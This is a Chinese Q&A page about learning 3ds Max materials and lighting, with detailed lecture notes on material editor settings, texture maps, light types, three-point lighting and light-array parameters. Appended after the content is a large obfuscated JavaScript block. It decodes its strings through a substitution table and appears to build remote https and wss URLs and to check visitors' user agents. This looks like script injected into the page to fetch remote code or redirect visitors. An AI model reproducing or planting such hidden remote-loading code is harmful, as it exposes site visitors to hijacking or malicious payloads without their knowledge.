如何快速掌握3dmax中的材质 灯光

如何快速掌握3dmax中的材质 灯光
2025-02-16 13:48:26
推荐回答(2个)
回答1:

你的基础怎么样啊!
第22讲 材质编辑器
22—1认识材质编辑器
一、认识材质编辑器
1)获取材质:进行材质和贴图编辑
材质应用:直接应用所选对象的表面;
贴图的应用;设置好贴图(平面)应用于环境;单击渲染菜单——将设置好的环境贴图拖至背景的通道中。
将贴图应用于漫反射通道;应用所选对象的表面;
2)将材质赋予选定对象;
3)转到父材质:在子材质下返回到标准材质;
4)转到同一级子材质:在同一级的子材质下进行同级编辑材质;
5)材质命名;吸管(可在场景吸取材质,当前材质球会与场景同步。)
6)standard标准材质;单击进行获取材质:
7)漫反射旁的小方块 +贴图map通道:获取贴图;
二、什么是材质和贴图:
材质:表现物体的物体属性如;反射、纹理、折射、自发光等特性。
贴图:用来表现纹理效果,通过材质中的+贴图……漫反射来表现。
三、初识材质编辑器的操作;
1)地面:木质地板:漫反射:木纹图案;+贴图:反射:光线跟踪;
大理石地板:
2)墙:乳胶墙:
漫反射 :253\255\239 ;高光级别:5(<=5,反射过度,脏);光泽度:10;
墙纸效果:
漫反射的贴图:(大空间用较明显的花纹墙纸,小空间暗,有质感,不花哨;)

22—2认识标准材质的卷展栏
三、认识标准材质的卷展栏;
1)+明暗器基本参数:确认材质的表现方式:
明暗模式:
线框;用材质表现钢架结构的建筑;
双面或面贴图……表现贴图效果;
2)+布林基本参数:
环境色;漫反射:确认表面的物理特性;
高光反射:即高光反射的颜色:
高光级别:控制高光范围的大小;
光泽度:控制高光区与过渡区的柔和程度;
自发光:灯具的发光体;
不透明度:
3)+贴图:
漫反射;不透明度;凹凸;反射、折射;
四、如何调整贴图图案的大小:
方法1:平铺的参数:
方法2:选择贴图的物体——修改面板——UVW贴图:贴图方式=物理对象的形状;长宽高;UVW平铺数;
五、贴图的用法:
1)多用于+贴图通道中使用:漫反射与凹凸、门、窗帘
2)环境贴图的用法;在材质中编辑贴图后拖至NONE通道形成背景;
3)透明度贴图的用法;窗帘:漫反射位图;不透明:该位图黑白位图;3D插人物
4)地毯裁边的使用;

二、室内材质和贴图的使用
1)地面:木质地板:漫反射:木纹图案;+贴图:反射:光线跟踪;
大理石地面:
漫反射:122;+扩展参数:大小:0.4,像素;+贴图卷展栏:漫反射:大理石的位图;反射:光线追踪;
地砖、石材:反光材质10~25; 光滑地板:6~12;玻璃:10~25;反射的特性:金属、玻璃、
木地板
2)墙:乳胶墙:
漫反射 :253\255\239 ;高光级别:5(<=5,反射过度,脏);光泽度:10;
墙纸效果:
漫反射的贴图:(大空间用较明显的花纹墙纸,小空间暗,有质感,不花哨;)
3)不锈钢材质:+明暗器类型:各向异性
+各向异性基本参数:环境光、漫反射、自发光:0,0,0
反射高光级别:147、光泽度:35;
+贴图:反射:反射/折射;
4)玻璃:高清玻璃;
磨砂玻璃;
5)地毯:漫反射:位图
+贴图:凹凸;
6)窗帘、
7)灯具材质:
8)沙发:

三、建筑常用材质:
1、玻璃材质:镀膜玻璃:
漫反射:41,66,77;
高光级别:90;光泽度:45;
不透明度:40;
漫反射颜色拖至过滤色降低亮度;
+贴图:反射——光线跟踪;50
2、墙砖材质:漫反射:平铺:
+高级控制:纹理——None——位图:
水平数和平均数;控制水平和垂直方向砖块的数量;
淡出变化:0.07
砖缝设置:控制砖缝的粗细和颜色;
+贴图:凹凸:复制:并清除纹理中的位图;颜色为白色;凹凸数量:10;
高光级别:25;光泽度:20;
3、石材材质:高光级别:60;光泽度:55;
漫反射:位图:麻灰;
+贴图:反射:光线跟踪:10
4、涂料材质:漫反射:205,190,150;
高光反射:230,225,210;
+贴图:凹凸——噪波:类型:分型;大小:10 ;
5、水面材质:漫反射“40,60,65;
高光级别:96;光泽度:50;
+贴图:凹凸——噪波:类型:分型;大小:200 ;
反射——光线跟踪:数量为:50;
四、分析材质与贴图;
1、Lightscape所有的材质:标准、多维/子材质、Lightscape专用材质、
2、各种材质:
1)高级灯光越界(高级照 明覆盖材质):用于光能传递,可控制材质在光能传递中的属性。
2)混合blend:复合材质的一种,将两种单独的材质进行混和制作出的材质。
3)多重/子材质:最常用的复合材质,在一个对象中使用两种以上的不同的材质;这种材质通常用为几何的次对象指定ID号,要赋予不同的类型的子材质。
指定ID号:选择对象——转换为可编辑的网格对象——多边形——先选择范围——确认ID号;
4)光线跟踪:通过逆向追踪光线的方法来反向周围的物体或场景从而得到逼真的效果。
5)贝壳shell material:
6)虫漆材质:将两种材质相加。控制其混合比例;
7)顶/底:为物体的上半部和下半部分别指定不同的材质;
8)建筑:类似高级灯光越界,用于光能传递,创建出逼真的效果;
9)合成:将两个以上的子材质与基本材质进行叠加合成。
10)双面:可以为物体的前后两个面设置不同的材质。
11)卡通:被渲染成水彩画的形式或卡通的式样。
12)Lightscape软件:Lightscape专用材质;
13)不可见/阴影:把这种材质应用于物体,会使物体或物体的一部分不可见,这样可以让物体后面或背景中的物体显示出来。
14)变形:制作材质的变化效果,配合变形编辑修改器使用;形状与材质同步变化。
地板砖;
玻璃:
漫反射:12,67,68;+贴图:反、折射:光影追踪:勾选双面:
磨砂效果:+凹凸:位图;
3、各种贴图:
(1)2D贴图:
1)位图:指由像素组成的图片总称;
2)棋盘:自动形成棋子形状;
3)复合软件:主要用于将贴图输出至复合软件中继续使用。
4)渐变:将三种不同的颜色或贴图进行自然连接;
5)渐变坡度:将多种不同的色彩进行自然连接;
6)漩涡:可将两种颜色或混合成漩涡状;
7)瓦贴图:生成砖墙或盖瓦的图案。
8)平铺:砖缝和平铺装饰墙的效果;
参数:+高级控制:平铺设置和砖缝设置;
(2)3D贴图:
1)细胞:一般用于表现地板瓷砖或马赛克、海面、爬虫类的皮肢等质感的贴图;
2)凹陷:能够在物体的表面上生成凹痕,主要用来表现柏油路、论腐蚀的木头或金属、岩石等材质;
3)衰减:根据物体表面的角度和灯光的位置来表现白色和黑色的渐变。
+混合曲线的设置:用曲线的方式来设置两种颜色渐变;
输出量:调整贴图出图亮度;
4)大理石:生成带有随机彩色纹理的大理石材质贴图;
5)噪波:使用两种颜色随机地修改物体的表面,可以表现水面或云彩等效果;
6)粒子年龄:须与粒子系统配合使用,通过粒子的寿命表现不同的颜色;
7)粒子运动模糊:同上;
8)行星贴图:使用颜色来控制产生行星表面的纹理效果;
9)烟雾贴图:使用两种颜色或者贴图生成不同形态的纹理;
(3)合成器贴图类型:
1)RGB相乘贴图:使用两种颜色或者合成产生一个贴图;
2)合成贴图:把多个贴图合成一张图片;
3)混合贴图:使用两种颜色或者合成一张贴图;
4)遮罩贴图:通过一个遮罩贴图来显示别一张贴图,产生漏空效果;
(4)颜色修改器类型贴图:
RGB染色贴图通道;顶点颜色贴图;输出贴图;
(5)其他类型贴图:
薄壁折射贴图:模拟对象泻染时产生折射效果,并且可以控制折射区域的模糊;
反射/折射贴图:把其他对象的投影到自射的表面,形成镜面玻璃反射和折射效果。;
光线跟踪贴图:模拟镜面的反射或折射效果;
平面镜:模拟现实中镜子反射的效果;
第23讲 灯光
23—1灯光类型
1)类型:
(1)标准灯光:以灯光的亮度颜色模拟真实效果
创建——灯光——标准灯光:
目标聚光灯/自由聚光灯:用来发出像手电筒一样聚集的灯光,或者像舞台上的追光灯。它一般作为主光使用。模拟太阳的光的照射的效果。
目标平行灯/自由平行灯:像太阳照射的地面一样,在一个方向上发出平行光线,它主要用来模拟太阳的光的照射的效果。
泛光灯:是一个向所有方向发射光线的点光源,它将照亮朝向它的所有表面。用来辅光。
天光灯:主要用于模拟整个场景中的环境日光效果。
MR区域泛光灯/MR区域聚光灯:是mentalRay专用灯光;
(2)光度学:以物理函数真实计算灯光漫反射。WEB光域网的应用*.ies
创建——灯光——光度学
目标点光源/自由点光源:从一个点向四周发散光能,模拟筒灯的照射效果,配合WEB文件使用。
目标线光源/自由线光源:从一条线向四周发散光能,模拟吊藏灯的光带。
目标面光源/自由面光源:从一个面向四周发散光能,模拟日光灯管。
IES阳光:模拟太阳光。
(3)日光系统:模拟室外强烈的太阳光照射效果。
系统——
(4)Vray灯光;Vraylight:VR天光
Vraysun:VR太阳光;
二、灯光的参数:
1)+General Parameters公共参数:
On开启;灯光对场景中的物体的影响有效。
Target目标:视中的灯光显示有目标点;
Shadows 阴影:灯光产生阴影效果;
Use global Settings使用全局设置;
排除:让光线对排除对象无光照影响。
制作场景:玻璃模拟太阳光线入射。
聚光灯的阴影向外发散/平行光的阴影是平行投射的;
23—2灯光的参数
2)+Intensity/Color/Attenuation亮度/颜色/衰减参数
Multiplier倍增器:调节灯光的强度; 衰减:控制灯光的亮度;
type类型:选择衰减类型。 start 开始:灯光开始的衰减位置;
近距衰减:灯光亮度从起点到终点逐渐增强,最终达到最大值;
使用:近距衰减功能有效;
Show显示:显示近距衰减的范围框;
3)+Spotlight Parameters:聚光灯参数:
Show显示锥形框; Overshoot泛光化:取光灯将有泛光灯的功能;
Hotsplt/Beam聚光区/光束:设置灯光的锥形区域;
Falloff/Field;衰减区/光束:设置灯光的衰减区域;
Cirel/Rectangle圆形/矩形
4)+Advanced Effects高级效果参数:光对对象的上材质表现效果的显示;
contra对比度:调节高光区与过渡区的表面的对比度;
Soften diff:柔化过渡边界;
Diffuse:过度区 Specular:高光区
Projector Map:投射影贴图:产生电影投影效果;
5)+Shadow Map Parameters阴影参数:对对象产生的阴影进行设置;
Color:阴影颜色: Dens:浓度; Map:贴图;在阴影有贴图;
(颜色和密度都可以对阴影的透明程度进行控制,颜色的亮度越亮,阴影越透明)
6)阴影贴图参数:控制阴影中贴图相关设置;
偏移:控制阴影与产生阴影的物体之间的距离;
大小:控制阴影精度;值大,阴影精度越高;
采样范围:控制阴影模糊程度;
7)大气效果:=渲染——环境——+大气
作用:为灯光添加大气效果(灯柱的形式);
三、灯光的应用方法:
1、表现形式:日景:常用的建筑表现方式;具有太阳乐和环境光两种冷暖弱的光线,建筑的结构得劲清晰表现。同时也分为正午或黄昏;
分析:太阳光照射下,呈偏暖色调,背光为冷色调;环境光的反射影响
2、日光设置方法:
(1)三点布光方法:是指一种使用三个灯光的基本方法这三个灯光分别是:主光源、背光源、辅助光源;
主光源:是物体的主要照射光源,它确定物体的可视高光和阴影,并且它通常代表了场景的主光源,如阳光、天花板上的吊灯等。与相机呈45度。
背光源:将物体从背景中分离出来,增加场景透视深度与突出主体,一般情况下都是把背光放在物体的后面,即相机的对面。并将背光高于物体的位置。
辅助光源:对主光源照亮的区域进行过渡处延伸,并且使物体更多的亮度显示出来。辅助光可以模拟来自在天空光、场景反射光或第二光源。
(2)主灯光的设置:模拟太阳光作为主灯光:创建——灯光——目标平行光
(灯光的照射高度设置得与上午10点或下午3点太阳高度相心,与地面呈60度夹角,阴影丰富)
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:倍增:1,太阳光:255,236,212;
+平行光参数:聚光区/光束(将主体建筑包含在其中即可)
勾选:泛光化(对场景中灯光聚光区之外的区域进行照明,但公产生照明效果不生成阴影。)
+阴影参数:颜色:143,128,20;
密度:0.8
+阴影贴图:大小:3000;偏移:0;采样范围:8;
(3)漫反射光(暗面辅光)泛光灯
作用:用来模拟天空漫反射光线;在主灯光的对面;
参数设置:+强度/颜色/衰减:127,193,255;倍增:0.7;
(4)漫反射光(底面辅光)泛光灯
作用:建筑下方实黑
参数设置:+强度/颜色/衰减:190,224,255;倍增:0.35;
(5)用自由平行光制作漫反射渐变效果:
为什么设置?建筑的暗面有一个由上至下,由明到暗的渐变效果,为了真实的模拟漫反射光线的效果。
操作:在右视图中创建自由平行光;
参数设置:+强度/颜色/衰减:190,224,255;倍增:0.35;
+平行光参数:聚光区/光束:(设置聚光区和光束的区域,将建立放置在两者之间)矩形;
3、三点灯光技术:主灯光(在日景中是太阳光);辅助灯光(天空的漫射光线);底光(建筑的漫射光线)
1、主灯光的设置:位置由建筑模型和摄影机的位置来确定;目标平行光;
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:255,242,221;倍增:1;
+平行光参数:聚光区/光束:
+阴影贴图参数:偏移:0;大小:3000;采样范围:8;
+阴影参数:阴影颜色:偏灰;密度:0.85;
2、辅助灯光的设置:泛光灯;距离控制灯光光线的均匀程度;
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:120,170,209;倍增:1;
+阴影贴图参数:偏移:0;大小:1024;采样范围:16;
+高级效果:取消高级反射;
3、底面辅光:泛光灯:
参数设置:+常规参数:
+强度/颜色/衰减:112,143,180;倍增:0.4;

23—3 灯光阵列技术
一、灯光阵列技术:通过多盏灯光相同参数的灯光在空间中有规律的阵列,来模拟环境光或天光的技术。使用该方法能在建筑的暗部或者阴影部形成丰富的细节,能为建筑投射真实柔和的环境漫射光线;
操作方式:可以为泛光灯和聚光灯两种灯光进行阵列;
二、局部灯光阵列技术;
1、制作思路:摄影机只观察到建筑的两个面,被主灯光照亮的一面和背光黑暗的一面;
目标平行光为太阳光;
聚光灯阵列模拟天空的漫射光线对建筑暗面进行照射;
泛光灯作底光;
2、设置主灯光模拟太阳光:平行光:
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:255,242,221;倍增:1;
+平行光参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:3000;采样范围:8;
+阴影参数:阴影颜色:偏灰;密度:0.85;
3、设置灯光模拟环境光:聚光灯;
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:蓝色;倍增:1;
+聚光灯参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:1024;采样范围:16;
+阴影参数:默认;
+高级效果:取消高光反射;
平面方向上8—10盏;3—4层实现细腻的阴影变化效果;
4、底光设置:泛光灯:
三、全局泛光灯阵列:可以将场景中的各个表面都照亮;一般用于鸟瞰图;
1、设置泛光灯阵列模拟环境光:
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:蓝色;倍增:0.13;
+聚光灯参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:1024;采样范围:16;
+阴影参数:默认;
+高级效果:取消高级反射;
2、设置目标平行光模拟太阳光:
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:255,242,221;倍增:1;
+平行光参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:3000;采样范围:8;
+阴影参数:阴影颜色:偏灰;密度:0.85;
3、场景单位与灯光阴影:
初始场景常是毫米,实际渲染时阴影细节会产生影响。当场景为米的单位时,可避免以毫米时出现场景阴影低的情况。
选择所有模型,并关闭组,右击转换为可编辑网格,进行塌陷,
进入工具——重缩放世界单位——比例因子:从毫米到厘米:0.01;从毫米到米:0.001;
设置好后,再执行自定义——单位设置——将场景和系统单位都设置为:米或厘米;
四、全局聚光灯阵列:
1、设置聚光灯阵列模拟环境光:创建—灯光—目标聚光灯
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:蓝色;倍增:0.05;
+聚光灯参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:1024;采样范围:16;
+阴影参数:默认;
+高级效果:取消高级反射;
(复制灯光时,尽量让两个灯光的灯光光锥底面圆形重合;呈45释再复制6个;并复制三层;最上层倍增:0.05;中间层倍增:0.04;下层倍增:0.03;)
2、设置目标平行光阵列模拟太阳光:
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:255,242,221;倍增:1;
+平行光参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:3000;采样范围:8;
+阴影参数:阴影颜色:偏灰;密度:0.85;
23—4 夜景灯光
一、夜灯光基础
1、夜景灯光特性分析:制作夜景时选择太阳刚刚下山时,天空没有暗下状态来进行表现;设置夜景时,注意灯光的随机性和差异性,差异性:在开启灯光的窗口中,灯光的颜色有的偏冷有的偏暖,在设置灯光时需要适当设置不同色调的灯光来丰富画面。
2、设置夜景灯光:一部分是冷色调的环境光;另一部分是暖色调的人工灯光;
二、夜景灯光的设置:
1、设置夜景灯光的漫射环境光:创建—灯光—目标聚光灯
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:100,136,255;倍增:0.05;
+聚光灯参数:聚光区/光束:勾选泛光化;
+阴影贴图参数:偏移:0;大小:1024;采样范围:16;
+阴影参数:默认;
(选择并移动,在摄像机可见的二个面的范围内复制;并复制两层:夜景比日景要求低一些。但间隔不要太近。)
2、设置夜景底面辅光环境光:泛光灯
参数设置:+常规参数:
+强度/颜色/衰减:130,159,255;倍增:0.2;
3、设置夜景人工灯光:泛光灯;暖色调;
参数设置:+常规参数:勾选阴影;
+强度/颜色/衰减:255,232,125;倍增:1;勾选远距衰减:
(如果室内无墙体隔开时,可用1、2个泛光灯。有墙体隔开时需要设置泛光灯;)

23—5光度学灯光
一、光度学灯光:创建具有各种分布功能和颜色特性的灯光。
二、光度学灯光的参数:
1)+强度/颜色/分布
1、分布;点光源:等向、聚光灯、WEB
线光源和面光源:漫反射、WEB
等向分布:灯光在各个方向上均等地布灯光;
聚光灯:呈三角形灯光发散。
WEB;灯光呈网状,结合*.ies光域网文件使用;
   2、颜色:
     开尔文:通过调色温来调灯光的颜色;色温表示单位;开尔文。
     颜色过滤器:用颜色进行调整;
   3、强度:控制灯光物理数量,指定光度的灯光强度或亮度;
     Lm:流明:测量整个灯光的光通量的输出功率。100w=1750 lm的光通量
Cd:坎迪拉(烛光)测量灯光的最大发光强度。通常沿着目标方向进行测量。100W=139cd
lx(lux):勒克斯测量灯光引起的照度。(国际照度标准)
倍增;用百分比数值控制灯光的强度。
这是我上课用的!配合我的边讲解边操作,很快就上手了.如果你能看得懂并知道怎么用,那你不需要看书的,急切需要的是制作实例.我讲课时对生手来说都能按上面的要求做得出来.同学们开始反应知道做,但不明白意思,当上完第三次的时候的(同时基础场景练习也同时进行的).他们基本上能掌握了.这些内容为渲染器准备很有效的.这个两个内容学完后就开始学习光能传递\MR\VR了.

回答2:

除了练习,别无他法,可以找点vary的书看看

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 